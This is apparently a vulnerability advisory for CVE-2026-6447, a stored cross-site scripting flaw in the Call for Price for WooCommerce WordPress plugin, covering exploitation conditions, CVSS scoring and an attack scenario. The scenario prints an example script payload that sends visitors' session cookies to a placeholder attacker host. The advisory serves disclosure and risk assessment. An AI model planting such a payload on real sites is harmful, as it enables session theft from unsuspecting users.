Call for Price for WooCommerce CVE-2026-6447

The vulnerability requires multiple specific conditions to be exploitable: (1) Attacker must possess active administrator-level (or higher) account credentials on the WordPress installation; (2) The WordPress installation must be configured as a multisite instance OR the unfiltered_html capability must be explicitly disabled (which is not the default on single-site installations, meaning most single-site WordPress instances are NOT affected); (3) The attacker must have direct access to the WordPress admin dashboard to inject the payload via the Call for Price plugin settings pages. The combination of administrator-level authentication requirement and the multisite/unfiltered_html restriction means this vulnerability does not affect typical single-site WordPress installations with standard configurations where administrators retain unfiltered_html capability by default. Exploitation is further limited by requiring the attacker to already have legitimate access to the admin panel, making this a post-compromise or insider-threat scenario rather than a direct remote attack.

The CVSS score of 4.4 reflects the attack's network accessibility and limited scope, but this significantly overstates real-world risk given the exploitation conditions. The vulnerability requires PR:H (High privileges-administrator level) and AC:H (High complexity), meaning only authenticated site administrators with elevated permissions can trigger it, and multisite or unfiltered_html-disabled configurations are mandatory. The Confidentiality and Integrity impacts are Low (C:L/I:L) as stored XSS permits script injection but not system-level access. This is a privilege-escalation concern primarily relevant to scenarios where a compromised admin account or insider threat exists, not a critical remote code execution vector. The CVSS vector's AC:H modifier accounts for the multisite/unfiltered_html requirement, reducing exploitation probability significantly below what a 4.4 base score might initially suggest for typical WordPress plugins. The SSVC framework would classify this as lower priority on most organizational risk profiles because it requires admin access-the attack already presupposes account compromise-and the technical impact is limited to stored XSS. No EPSS score or KEV listing was provided, and no public POC is evident from available references, further supporting a lower exploitation probability than typical network-accessible vulnerabilities.

An administrator account is compromised via credential theft or phishing. The attacker logs into the WordPress admin panel and navigates to the Call for Price plugin settings. The attacker injects a JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into a plugin configuration field and saves settings. The malicious script is stored in the WordPress database and executes in the browser of every user who visits product pages where the Call for Price functionality is displayed, allowing the attacker to steal session cookies or perform actions on behalf of legitimate users.